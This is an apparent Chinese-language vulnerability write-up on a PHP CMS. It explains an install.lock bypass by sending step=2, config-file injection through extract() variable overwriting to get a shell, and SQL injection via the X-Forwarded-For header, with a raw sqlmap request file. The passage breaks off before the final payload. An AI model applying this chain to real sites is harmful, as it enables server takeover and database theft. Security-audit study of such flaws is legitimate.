网站重装getshell漏洞

漏洞发生在/install/index.php

<?php 
...
include '../inc/config.php';
include 'conn.php';
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
$submit = isset($_POST['submit']) ? true : false;
$step = isset($_POST['step']) ? $_POST['step'] : 1;

...

<?php
switch($step) {
    case '1':
        include 'step_'.$step.'.php';
    break;
    case '2':
        ...
        include 'step_'.$step.'.php';
    break;
    case '3':
        include 'step_'.$step.'.php';
    break;
    case '4':
        include 'step_'.$step.'.php';
    break;
    case '5':
        function dexit($msg) {
            echo '<script>alert("'.$msg.'");window.history.back();</script>';
            exit;
        }

        $conn=connect($db_host,$db_user,$db_pass,'',$db_port);
        if(!$conn) dexit('无法连接到数据库服务器,请检查配置');
        $db_name or dexit('请填写数据库名');
        if(!select_db($db_name)) {
            if(!query("CREATE DATABASE $db_name")) dexit('指定的数据库不存在\n\n系统尝试创建失败,请通过其他方式建立数据库');
        }
        ...
        $fp="../inc/config.php";
        $f = fopen($fp,'r');
        $str = fread($f,filesize($fp));
        fclose($f);
        $str=str_replace("define('sqlhost','".sqlhost."')","define('sqlhost','$db_host')",$str) ;
        $str=str_replace("define('sqlport','".sqlport."')","define('sqlport','$db_port')",$str) ;
        $str=str_replace("define('sqldb','".sqldb."')","define('sqldb','$db_name')",$str) ;
        $str=str_replace("define('sqluser','".sqluser."')","define('sqluser','$db_user')",$str) ;
        $str=str_replace("define('sqlpwd','".sqlpwd."')","define('sqlpwd','$db_pass')",$str) ;
        $str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
        $str=str_replace("define('logourl','".logourl."')","define('logourl','$url/image/logo.png')",$str) ;
        $f=fopen($fp,"w+");
        fputs($f,$str);
        fclose($f);
        include 'step_'.$step.'.php';
        break;
    case '6':
        include 'step_'.$step.'.php';
    break;
}

?>

分析代码

代码中通过传入的step的值是多少对应该目录下的文件

switch($step) {
    case '1':
        include 'step_'.$step.'.php';
    break;

仔细阅读该每一个step文件可知,只有当step=1的时候才会检测/install/install.lock文件是否存在。

if(file_exists("install.lock")){
echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件</div>";
}else{
?>

也就是说,抓包改一下step=2可以绕过检测跳到安装界面

接下来的如何getshell呢,下面有段代码

$fp="../inc/config.php";
$f = fopen($fp,'r');
$str = fread($f,filesize($fp));
      fclose($f);
      $str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;

$url是可写入的,因为上面有一段代码:

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);

可见这段extract函数把get,post传进来的值注册为变量

这里要检验数据库连接才可以到下面的文件写入,这里可以利用sql注入漏洞获取数据库信息

漏洞发生在user/logincheck.php第84行

<?php
...
$sql="select * from cms_user where username='".$username."' and  password='".$password."' ";
$rs = query($sql); 
$row= num_rows($rs);
if(!$row){
....
}else{
....
    $rs = query($sql); 
    $row= fetch_array($rs);
        if(!$row){
        echo "<script>alert('用户被锁定!');history.go(-1)</script>";
        }else{
        query("delete from cms_login_times where ip='$ip'");//登录成功后,把登录次数记录删了
        query("UPDATE cms_user SET showlogintime = lastlogintime WHERE username='".$username."'");//更新上次登录时间
        query("UPDATE cms_user SET showloginip = loginip WHERE username='".$username."'");//更新上次登录IP
        query("UPDATE cms_user SET logins = logins+1 WHERE username='".$username."'");
        query("UPDATE cms_user SET loginip = '".getip()."' WHERE username='".$username."'");//更新最后登录IP
        if (strtotime(date("Y-m-d H:i:s"))-strtotime($row['lastlogintime'])>86400){
        query("UPDATE cms_user SET totleRMB = totleRMB+".jf_login." WHERE username='".$username."'");//登录时加积分
query("UPDATE cms_user SET loginip = '".getip()."' WHERE username='".$username."'");

看一下getip的定义:

function getip(){ 
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
$ip = getenv("HTTP_CLIENT_IP"); 
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
$ip = getenv("HTTP_X_FORWARDED_FOR"); 
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
$ip = getenv("REMOTE_ADDR"); 
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
$ip = $_SERVER['REMOTE_ADDR']; 
else 
$ip = "unknown"; 
return($ip); 
}

可用sqlmap跑出数据库信息
//sql.txt

POST /user/logincheck.php HTTP/1.1
Host: www.wyc.com
Content-Length: 111
Cache-Control: max-age=0
Origin: http://www.wyc.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://www.wyc.com/user/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7
Cookie: bdshare_firstime=1568780385995; PHPSESSID=7fih9osc4vupgl87u76unqvsag
Connection: close
X-Forwarded-For: 127.0.0.1*

得到数据库信息后

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